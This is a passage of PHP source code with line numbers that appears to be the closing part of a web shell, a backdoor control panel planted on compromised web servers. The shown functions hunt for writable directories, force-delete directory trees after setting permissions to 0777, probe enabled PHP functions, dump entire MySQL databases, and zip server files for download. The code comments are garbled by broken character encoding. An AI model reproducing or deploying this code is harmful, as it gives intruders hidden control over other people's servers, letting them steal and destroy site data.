Shell: '.$array['shell'].'">'.$array['name'].'</a>';
1506 }
1507 }
1508 return '';
1509}
1510
1511// ? ?¼
1512function deltree($deldir) {
1513 $mydir=@dir($deldir);
1514 while($file=$mydir->read()) {
1515 if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) {
1516 @chmod($deldir.'/'.$file,0777);
1517 deltree($deldir.'/'.$file);
1518 }
1519 if (is_file($deldir.'/'.$file)) {
1520 @chmod($deldir.'/'.$file,0777);
1521 @unlink($deldir.'/'.$file);
1522 }
1523 }
1524 $mydir->close();
1525 @chmod($deldir,0777);
1526 return @rmdir($deldir) ? 1 : 0;
1527}
1528
1529// ? ı ? ?
1530function bg() {
1531 global $bgc;
1532 return ($bgc++%2==0) ? 'alt1' : 'alt2';
1533}
1534
1535// ? ? ? ??·
1536function getPath($scriptpath, $nowpath) {
1537 if ($nowpath == '.') {
1538 $nowpath = $scriptpath;
1539 }
1540 $nowpath = str_replace('\\', '/', $nowpath);
1541 $nowpath = str_replace('//', '/', $nowpath);
1542 if (substr($nowpath, -1) != '/') {
1543 $nowpath = $nowpath.'/';
1544 }
1545 return $nowpath;
1546}
1547
1548// ? ??¼ ? ?¼
1549function getUpPath($nowpath) {
1550 $pathdb = explode('/', $nowpath);
1551 $num = count($pathdb);
1552 if ($num > 2) {
1553 unset($pathdb[$num-1],$pathdb[$num-2]);
1554 }
1555 $uppath = implode('/', $pathdb).'/';
1556 $uppath = str_replace('//', '/', $uppath);
1557 return $uppath;
1558}
1559
1560// PHP ò
1561function getcfg($varname) {
1562 $result = get_cfg_var($varname);
1563 if ($result == 0) {
1564 return 'No';
1565 } elseif ($result == 1) {
1566 return 'Yes';
1567 } else {
1568 return $result;
1569 }
1570}
1571
1572// ?
1573function getfun($funName) {
1574 return (false !== function_exists($funName)) ? 'Yes' : 'No';
1575}
1576
1577function GetList($dir){
1578 global $dirdata,$j,$nowpath;
1579 !$j && $j=1;
1580 if ($dh = opendir($dir)) {
1581 while ($file = readdir($dh)) {
1582 $f=str_replace('//','/',$dir.'/'.$file);
1583 if($file!='.' && $file!='..' && is_dir($f)){
1584 if (is_writable($f)) {
1585 $dirdata[$j]['filename']=str_replace($nowpath,'',$f);
1586 $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
1587 $dirdata[$j]['dirchmod']=getChmod($f);
1588 $dirdata[$j]['dirperm']=getPerms($f);
1589 $dirdata[$j]['dirlink']=ue($dir);
1590 $dirdata[$j]['server_link']=$f;
1591 $dirdata[$j]['client_link']=ue($f);
1592 $j++;
1593 }
1594 GetList($f);
1595 }
1596 }
1597 closedir($dh);
1598 clearstatcache();
1599 return $dirdata;
1600 } else {
1601 return array();
1602 }
1603}
1604
1605function qy($sql) {
1606 //echo $sql.'<br>';
1607 $res = $error = '';
1608 if(!$res = @mysql_query($sql)) {
1609 return 0;
1610 } else if(is_resource($res)) {
1611 return 1;
1612 } else {
1613 return 2;
1614 }
1615 return 0;
1616}
1617
1618function q($sql) {
1619 return @mysql_query($sql);
1620}
1621
1622function fr($qy){
1623 mysql_free_result($qy);
1624}
1625
1626function sizecount($size) {
1627 if($size > 1073741824) {
1628 $size = round($size / 1073741824 * 100) / 100 . ' G';
1629 } elseif($size > 1048576) {
1630 $size = round($size / 1048576 * 100) / 100 . ' M';
1631 } elseif($size > 1024) {
1632 $size = round($size / 1024 * 100) / 100 . ' K';
1633 } else {
1634 $size = $size . ' B';
1635 }
1636 return $size;
1637}
1638
1639// ?
1640class PHPZip{
1641 var $out='';
1642 function PHPZip($dir) {
1643 if (@function_exists('gzcompress')) {
1644 $curdir = getcwd();
1645 if (is_array($dir)) $filelist = $dir;
1646 else{
1647 $filelist=$this -> GetFileList($dir);// ? ?
1648 foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);
1649 }
1650 if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);
1651 else chdir($curdir);
1652 if (count($filelist)>0){
1653 foreach($filelist as $filename){
1654 if (is_file($filename)){
1655 $fd = fopen ($filename, 'r');
1656 $content = @fread ($fd, filesize($filename));
1657 fclose ($fd);
1658 if (is_array($dir)) $filename = basename($filename);
1659 $this -> addFile($content, $filename);
1660 }
1661 }
1662 $this->out = $this -> file();
1663 chdir($curdir);
1664 }
1665 return 1;
1666 }
1667 else return 0;
1668 }
1669
1670 // ? ?¼ ? ?
1671 function GetFileList($dir){
1672 static $a;
1673 if (is_dir($dir)) {
1674 if ($dh = opendir($dir)) {
1675 while ($file = readdir($dh)) {
1676 if($file!='.' && $file!='..'){
1677 $f=$dir .'/'. $file;
1678 if(is_dir($f)) $this->GetFileList($f);
1679 $a[]=$f;
1680 }
1681 }
1682 closedir($dh);
1683 }
1684 }
1685 return $a;
1686 }
1687
1688 var $datasec = array();
1689 var $ctrl_dir = array();
1690 var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
1691 var $old_offset = 0;
1692
1693 function unix2DosTime($unixtime = 0) {
1694 $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
1695 if ($timearray['year'] < 1980) {
1696 $timearray['year'] = 1980;
1697 $timearray['mon'] = 1;
1698 $timearray['mday'] = 1;
1699 $timearray['hours'] = 0;
1700 $timearray['minutes'] = 0;
1701 $timearray['seconds'] = 0;
1702 } // end if
1703 return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
1704 ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
1705 }
1706
1707 function addFile($data, $name, $time = 0) {
1708 $name = str_replace('\\', '/', $name);
1709
1710 $dtime = dechex($this->unix2DosTime($time));
1711 $hexdtime = '\x' . $dtime[6] . $dtime[7]
1712 . '\x' . $dtime[4] . $dtime[5]
1713 . '\x' . $dtime[2] . $dtime[3]
1714 . '\x' . $dtime[0] . $dtime[1];
1715 eval('$hexdtime = "' . $hexdtime . '";');
1716 $fr = "\x50\x4b\x03\x04";
1717 $fr .= "\x14\x00";
1718 $fr .= "\x00\x00";
1719 $fr .= "\x08\x00";
1720 $fr .= $hexdtime;
1721
1722 $unc_len = strlen($data);
1723 $crc = crc32($data);
1724 $zdata = gzcompress($data);
1725 $c_len = strlen($zdata);
1726 $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
1727 $fr .= pack('V', $crc);
1728 $fr .= pack('V', $c_len);
1729 $fr .= pack('V', $unc_len);
1730 $fr .= pack('v', strlen($name));
1731 $fr .= pack('v', 0);
1732 $fr .= $name;
1733 $fr .= $zdata;
1734 $fr .= pack('V', $crc);
1735 $fr .= pack('V', $c_len);
1736 $fr .= pack('V', $unc_len);
1737
1738 $this -> datasec[] = $fr;
1739 $new_offset = strlen(implode('', $this->datasec));
1740
1741 $cdrec = "\x50\x4b\x01\x02";
1742 $cdrec .= "\x00\x00";
1743 $cdrec .= "\x14\x00";
1744 $cdrec .= "\x00\x00";
1745 $cdrec .= "\x08\x00";
1746 $cdrec .= $hexdtime;
1747 $cdrec .= pack('V', $crc);
1748 $cdrec .= pack('V', $c_len);
1749 $cdrec .= pack('V', $unc_len);
1750 $cdrec .= pack('v', strlen($name) );
1751 $cdrec .= pack('v', 0 );
1752 $cdrec .= pack('v', 0 );
1753 $cdrec .= pack('v', 0 );
1754 $cdrec .= pack('v', 0 );
1755 $cdrec .= pack('V', 32 );
1756 $cdrec .= pack('V', $this -> old_offset );
1757 $this -> old_offset = $new_offset;
1758 $cdrec .= $name;
1759
1760 $this -> ctrl_dir[] = $cdrec;
1761 }
1762
1763 function file() {
1764 $data = implode('', $this -> datasec);
1765 $ctrldir = implode('', $this -> ctrl_dir);
1766 return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) . pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";
1767 }
1768}
1769
1770// ?
1771function sqldumptable($table, $fp=0) {
1772 $tabledump = "DROP TABLE IF EXISTS $table;\n";
1773 $tabledump .= "CREATE TABLE $table (\n";
1774
1775 $firstfield=1;
1776
1777 $fields = q("SHOW FIELDS FROM $table");
1778 while ($field = mysql_fetch_array($fields)) {
1779 if (!$firstfield) {
1780 $tabledump .= ",\n";
1781 } else {
1782 $firstfield=0;
1783 }
1784 $tabledump .= " $field[Field] $field[Type]";
1785 if (!empty($field["Default"])) {
1786 $tabledump .= " DEFAULT '$field[Default]'";
1787 }
1788 if ($field['Null'] != "YES") {
1789 $tabledump .= " NOT NULL";
1790 }
1791 if ($field['Extra'] != "") {
1792 $tabledump .= " $field[Extra]";
1793 }
1794 }
1795 fr($fields);
1796
1797 $keys = q("SHOW KEYS FROM $table");
1798 while ($key = mysql_fetch_array($keys)) {
1799 $kname=$key['Key_name'];
1800 if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {
1801 $kname="UNIQUE|$kname";
1802 }
1803 if(!is_array($index[$kname])) {
1804 $index[$kname] = array();
1805 }
1806 $index[$kname][] = $key['Column_name'];
1807 }
1808 fr($keys);
1809
1810 while(list($kname, $columns) = @each($index)) {
1811 $tabledump .= ",\n";
1812 $colnames=implode($columns,",");
1813
1814 if ($kname == "PRIMARY") {
1815 $tabledump .= " PRIMARY KEY ($colnames)";
1816 } else {
1817 if (substr($kname,0,6) == "UNIQUE") {
1818 $kname=substr($kname,7);
1819 }
1820 $tabledump .= " KEY $kname ($colnames)";
1821 }
1822 }
1823
1824 $tabledump .= "\n);\n\n";
1825 if ($fp) {
1826 fwrite($fp,$tabledump);
1827 } else {
1828 echo $tabledump;
1829 }
1830
1831 $rows = q("SELECT * FROM $table");
1832 $numfields = mysql_num_fields($rows);
1833 while ($row = mysql_fetch_array($rows)) {
1834 $tabledump = "INSERT INTO $table VALUES(";
1835
1836 $fieldcounter=-1;
1837 $firstfield=1;
1838 while (++$fieldcounter<$numfields) {
1839 if (!$firstfield) {
1840 $tabledump.=", ";
1841 } else {
1842 $firstfield=0;
1843 }
1844
1845 if (!isset($row[$fieldcounter])) {
1846 $tabledump .= "NULL";
1847 } else {
1848 $tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";
1849 }
1850 }
1851
1852 $tabledump .= ");\n";
1853
1854 if ($fp) {
1855 fwrite($fp,$tabledump);
1856 } else {
1857 echo $tabledump;
1858 }
1859 }
1860 fr($rows);
1861 if ($fp) {
1862 fwrite($fp,"\n");
1863 } else {
1864 echo "\n";
1865 }
1866}
1867
1868function ue($str){
1869 return urlencode($str);
1870}
1871
1872function p($str){
1873 echo $str."\n";
1874}
1875
1876function tbhead() {
1877 p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
1878}
1879function tbfoot(){
1880 p('</table>');
1881}
1882
1883function makehide($name,$value=''){
1884 p("<input id=\"$name\" type=\"hidden\" name=\"$name\" value=\"$value\" />");
1885}
1886
1887function makeinput($arg = array()){
1888 $arg['size'] = $arg['size'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\"";
1889 $arg['extra'] = $arg['extra'] ? $arg['extra'] : '';
1890 !$arg['type'] && $arg['type'] = 'text';
1891 $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
1892 $arg['class'] = $arg['class'] ? $arg['class'] : 'input';
1893 if ($arg['newline']) {
1894 p("<p>$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] /></p>");
1895 } else {
1896 p("$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] />");
1897 }
1898}
1899
1900function makeselect($arg = array()){
1901 if ($arg['onchange']) {
1902 $onchange = 'onchange="'.$arg['onchange'].'"';
1903 }
1904 $arg['title'] = $arg['title'] ? $arg['title'] : '';
1905 if ($arg['newline']) p('<p>');
1906 p("$arg[title] <select class=\"input\" id=\"$arg[name]\" name=\"$arg[name]\" $onchange>");
1907 if (is_array($arg['option'])) {
1908 foreach ($arg['option'] as $key=>$value) {
1909 if ($arg['selected']==$key) {
1910 p("<option value=\"$key\" selected>$value</option>");
1911 } else {
1912 p("<option value=\"$key\">$value</option>");
1913 }
1914 }
1915 }
1916 p("</select>");
1917 if ($arg['newline']) p('</p>');
1918}
1919function formhead($arg = array()) {
1920 !$arg['method'] && $arg['method'] = 'post';
1921 !$arg['action'] && $arg['action'] = $self;
1922 $arg['target'] = $arg['target'] ? "target=\"$arg[target]\"" : '';
1923 !$arg['name'] && $arg['name'] = 'form1';
1924 p("<form name=\"$arg[name]\" id=\"$arg[name]\" action=\"$arg[action]\" method=\"$arg[method]\" $arg[target]>");
1925 if ($arg['title']) {
1926 p('<h2>'.$arg['title'].' »</h2>');
1927 }
1928}
1929
1930function maketext($arg = array()){
1931 !$arg['cols'] && $arg['cols'] = 100;
1932 !$arg['rows'] && $arg['rows'] = 25;
1933 $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
1934 p("<p>$arg[title]<textarea class=\"area\" id=\"$arg[name]\" name=\"$arg[name]\" cols=\"$arg[cols]\" rows=\"$arg[rows]\" $arg[extra]>$arg[value]</textarea></p>");
1935}
1936
1937function formfooter($name = ''){
1938 !$name && $name = 'submit';
1939 p('<p><input class="bt" name="'.$name.'" id=\"'.$name.'\" type="submit" value="Submit"></p>');
1940 p('</form>');
1941}
1942
1943function formfoot(){
1944 p('</form>');
1945}
1946
1947// ?
1948function pr($a) {
1949 echo '<pre>';
1950 print_r($a);
1951 echo '</pre>';
1952}
1953
1954?>